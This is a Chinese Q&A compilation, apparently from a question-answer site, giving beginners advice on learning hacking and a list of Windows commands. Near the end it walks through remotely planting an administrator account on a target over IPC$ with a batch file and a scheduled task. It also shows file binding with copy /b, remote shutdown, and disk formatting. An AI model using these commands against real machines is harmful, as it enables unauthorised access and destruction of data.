零基础如何去学习网络攻防

先在网上找一些网络安全方面的网站看看，泡泡他们论坛，然后找一家正规一点网络安全培训网站学习一下，一般都是远程学习，有视频。找培训网站要慎重，很多骗子网站的

我想学网络攻防技术，（自学） 现在零基础，求如何起步，求步骤，求师傅~~

先在网上找一些网络安全方面的网站看看，泡泡他们论坛，然后找一家正规一点网络安全培训网站学习一下，一般都是远程学习，有视频。找培训网站要慎重，很多骗子网站的

想学黑客，网络攻防该怎样起步？

别学拿东西，违法的事情不要搞，现在百度就能锁定你，等你真的干了坏事，必定抓到你

请问学习网络攻防先从什么开始学习

学网络的话，你意思是网络安全吧。可以去市场上买一本黑客攻防入门级的教程，里面从系统开始讲起，现在市场上的这类书都是差不多的结构。从系统说然后然后搞到木马等。建议专业知识学个VB，网页设计，免杀。祝福你吧 追问： 你的推荐我都看过了.但是市场上的黑客攻防入门级教程.很多的.都是谈到一些不该学习的东西.- -现在我都有N本了,每本的教程都不一样.你说的对.不实践很难学好,,但是我最起码先把理论知识学的差不多了,- -接下来,我就可以实践了. 回答： 网络安全你要是想学系统学不太好说，这不是太严格归类。如果非要说的话，从windows系统开始学起，特别是一些网络方面的。首先把dos学一下，顺便也可以把批处理学掉。然后买一些关于TCP/IP，网络，操作系统，局域网以及windows的基础知识，你在书店多注意一点，首先这些书要通俗易懂，如果你从开始就读不懂也就不至于学习了。另外准备一些网络安全的杂志，出去《黑客X档案》《黑客防线》等，这些杂志你不一定能看的懂但是你看的多了，你会发现自己对哪方面的知识。另外你学习的重点应该是网络安全动向的东西，所以最好能把所有关于这些知识都有涉猎。不懂的东西，一定要去问，一定要弄清，最好用搜索引擎，每一个黑客都离不开他的！总结下，就是学习系统网络，学习一些dos网络命令的知识（入侵检测），编程知识（推荐学VB），局域网，网络搭建。 我是蛋白质 的感言： 谢谢。

学习黑客需要先学习什么基础？（零基础）

首先,你要想明白自己为什么要想学习黑客技术,如果只是为了学点技术来做点坏事,或者为自己谋取一点不法利益的话,还是不学为好,还有另外一方面,就是你真正的喜欢黑客技术,在我看来,只有你真正对一件是有兴趣才能学好,做好,这是一个亘古不变的哲理.再有,光有热情是不够的,还要有毅力,耐心,决心,信心,运气等等的东西,所以说一个真正的黑客是一个了不起的人物,它具有很多人没有的优秀品质,先说一下除了技术之外所需要的东西,再说一下技术上的吧,其实技术上也是分很多方面的,主要分为hacker和cracker.hacker主要是网络安全方面的,cracker主要是解密方面的. 先说一下hacker要掌握的东西,首先,要对tcp/ip协议有足够的了解,因为网络方面的东西是离不开这些的,再有要掌握多种语言,你不一定要精通,当一定要了解,再有就是学习一下网站数据库安全方面的东西,如asp注入,php注入等方面的东西,这些东西要说清楚是很麻烦的,你自己可以根据自己的爱好去学习 再说一下cracker,他们主要是通过反汇编软件,来了解程序的内部结构,从而找出加密算法,找出注册码,根据我的经验,要想在这方面有所成就,就要付出极大的努力,经常是需要工作到深夜的,但是也不要气馁,只要决定了要学,你就一定能学好,这只是时间问题,有的时候你会感觉自己不会进步,但是你还只要坚持下来了,就会感觉自己其实是在慢慢的进步的

关于黑客攻防的书很多，哪本最好最有用？

很简单的一个问题，国内与黑客相关而且做得很好的书籍仅有：

1：《黑客X档案》 这个是初级性的，零基础的同学都可以看得懂的。推荐楼主去看看，近期的价格好像是10块钱。直接网上订购，当然书店绝对是可以买到的（如果当地书店没有你可以与老板说你需要订一般来说都是可以的。当然黑客X档案还有电子版。）

2：《黑客手册》这本书很不错，注重网络安全，适合有网络方面基础的同学学习，不适合入门。价格大约10RMB 我所说的所有书都是月刊！

3：《黑客防线》不可否认黑客防线是做得最好的，是广大编程爱好者和黑客技术爱好者最爱看的了。价格12.5RMB 月刊 主要以编程为主。难度较大而且涉及到的编程语言很多！

推荐楼主从基础学起，按照我所说的1，2，3来看 觉得懂了就往深入看！编程基础最好掌握，推荐楼主先学习下C VB JAVA 教程网上很多：推荐个网络学院：doie.net 也就是原来的黑客大学。但愿你能学到更多的东西。！

新手学黑客攻防

初学当然选《新手学黑客攻防(入门篇)》,凡事从基础学起，系统的学起比较好。再高深的入侵技术也是在基础知识的基础上扩展的。

请问新手学黑客攻防要记哪些命令?

黑客常用命令（不太全，只是我个人常用的）、、、、、 ping 测试

ping -a ip 对目标ip地址进行反向名称解析，如果解析成功，ping将显示相应的主机名

ping IP -t 连续对IP地址执行PING命令直到CTRL+C中断

ping IP -l 3000 指定PING命令中的数据长度为3000字节

netstat( local address本地地址，foreign address外部地址)

netstat -s 查看本机网络配置信息

netstat -e 查看连接数据包

netstat -r 查看路由表的各种信息

netstat -n 显示已建立连接

netstat -v 显示正在进行的工作

netstat -t 显示TCP协议的连接情况

netstat -a 显示所有SOCKET，包括正在监听的

netstat -u 显示UDP协议的连接情况

nslookup 域名 查询A记录

nslookup -q=mx 域名 查询MX记录

nslookup -q=ns 域名 查询ns记录

ipconfig 查看自己的本地连接和宽带连接

ipconfig /all 显示IP地址MAC地址等附加信息

ipconfig /batch bak-netcfg 将有关网络配置的信息备份到文件BAK-NETCFG中

ipconfig /release 1 去除网卡（适配器1）的动态IP地址

ipconfig /renew 1 为网卡重新动态分配IP地址

tracert 解析路由

dir 列出当前路径下的文件

dir /a 列出当前路径下所有文件包含隐藏的系统的文件

dir /ah 列出当前路径下隐藏的文件包括子目录隐藏的

dir /as 列出系统文件

dir /ad 列出子目录

dir /B 只显示文件名与扩展名

nbtstat -a IP 查看指定IP主机的NETBIOS信息

COPY命令巧妙捆绑：

copy 456.jpg/b + 123.txt/a 789.jpg

首先CD命令到文件的存放位置，456.jpg--文件名，123.txt--文件名，789.jpg--生成的789图片文件。/b--用于指定以二进制格式复制合并文件，/a--用于指定以ASCLL格式复制合并文件，二进制格式文件应该在+前，文本格式文件在+后。

cls 清屏命令

net user 系统账号类操作

net user 账号 密码 /add 建立账号命令

net user 账号 密码 /dll 删除账号命令

net localgroup 系统组操作

net use 远程连接 映射操作

net use \\IP\ipc$ "密码" /user:"用户" IPC￥连接

net use z: \\IP\c$ 映射网络驱动器（C盘到本地E盘）

net use * /del 断开所有IPC连接

net use \\IP\ipc$ /del 断开指定IP目标IPC连接

net time \\IP 查看目标主机的时间

copy 把一个文件拷贝到另一个地方（参照远程添加用户）

at 用来建立计划任务（参照远程添加用户）

net user 用来管理计算机上面的帐号（参照远程添加用户）

net localgroup 用来管理工作组（参照远程添加用户）

net send 信使命令

net start messenger 开启信使服务messenger

net stop messenger 关闭服务

net * 内容 向局域网所有用户发送消息

远程添加用户：

net user 用户名 密码 /add

net localgroup administrators 用户名 /add

命令一：添加一个用户

命令二：表示把用户添加到管理员组（administrators）

打开记事本，键入上面的命令，把该文件另存为后坠名是.bat的文件（这里记为hack.bat）

转到存放hack.bat的目录（比如D盘），键入copy hack.bat \\目标IP\c$ (这样就把hack.bat拷贝到了目标主机的C盘)

首先键入：net time \\目标IP 查看目标主机的时间，再键入： at \\目标IP 时间 要执行的命令。例：at \\192.168.1.1 c:hack.bat

net share 查看本机共享资源

at \\IP 时间 net share c: 使用计划任务开启共享资源

md f:\123..\ 建立超级文件夹（F指本地磁盘，123指文件夹名）

start f:\123..\ 进入超级文件夹

rd f:\123..\ 删除超级文件夹

shutdown -i 打开（关闭计算机）界面，可关指定远程计算机

shutdown -l 注销本计算机

shutdown -s 关闭本计算机

shutdown -r 关闭并重启本计算机

shutdown -a 放弃系统关机

shutdown -m \\(计算机名或IP) -s 远程关闭计算机

shutdown -m \\(计算机名或IP) -r 远程重启计算机

shutdown -m \\(计算机名或IP) -a 远程命令放弃

shutdown -t xx 设置关闭的超时为几秒（xx表示秒）

shutdown -c "comment" 关闭注释（最大127字符）

shutdown -f 强制运行的应用程序关闭而没有警告

shutdown -d [u][p]:xx:yy 关闭原因代码（u是用户代码，p是一个计划的代码，xx是一个主要原因代码[小于256的正整数]，yy是一个次要原因代码[小于65536的正整数]）

at 22:00 Shutdown -s 22：00关机

del d:文件夹\文件名 删除文件，d:指盘符。

cd.. 进入上一层

cd (文件夹名) 进入指定的文件夹

d: 进入D盘

nbtstat -a 计算机名或IP 显示指定计算机NETBIOS信息

nbtstat -n 显示本计算机的NETBIOS信息

nbtstat -c 显示本计算机NEBIOS名称缓存的内容

arp -a Ip 如果我们有多个网卡，那么使用arp -a加上接口的Ip地址，就可以只显示与该接口相关的ARp缓存项目。

arp -s Ip MAC物理地址 绑定其他电脑MAC地址，IP为：目标IP。

arp -d Ip 人工删除一个静态项目（MAC地址）。

format d： 格式化命令，d：代表盘符

format d:/q 快速格式化

format d:/u 无条件格式化